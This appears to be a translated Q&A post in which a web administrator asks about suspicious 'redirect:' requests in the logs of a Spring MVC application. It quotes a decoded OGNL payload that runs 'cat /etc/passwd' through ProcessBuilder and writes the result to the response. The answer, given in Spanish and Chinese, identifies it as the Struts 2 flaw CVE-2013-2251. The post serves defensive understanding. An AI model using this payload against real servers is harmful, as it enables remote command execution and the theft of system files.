我有一个面向公众的Web应用程序,它使用Spring MVC(3.2.x)和Spring Security(3.1.x)。今天早上,我在访问日志中观察到以下表单的请求:
GET /MyWebAppPath/login.do?redirect:${Some URL-encoded EL code here}
Spring试图利用什么错误或特征? Spring(或其他一些代码)在什么条件下评估EL表达式?
我似乎忽略了?redirect:
参数,但它让我感到紧张,因为我不知道在哪里查看我是否不容易受到攻击。我所有的谷歌搜索都发现了无关紧要的事情(我能说的最好)。
如果${ }
中的代码实际运行,它会尝试将/etc/passwd
的内容转储到客户端。 (幸运的是,它看起来从未运行过。加上我们系统上不存在该文件。我们的Tomcat以权限有限的用户身份运行。)
编辑:以下是${ }
内部的实际代码,解码并添加新行以帮助提高可读性:
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#e),
#matt.getWriter().flush(),
#matt.getWriter().close()
答案 0 :(得分:0)
Es correcto,esta vulnerabilidad es exclusiva de Struts 2,y esta documentada como CVE-2013-2251。没有任何关系 SPRING MVC。
没错,此漏洞仅适用于Struts 2和is documented as CVE-2013-2251。你不必担心Spring MVC。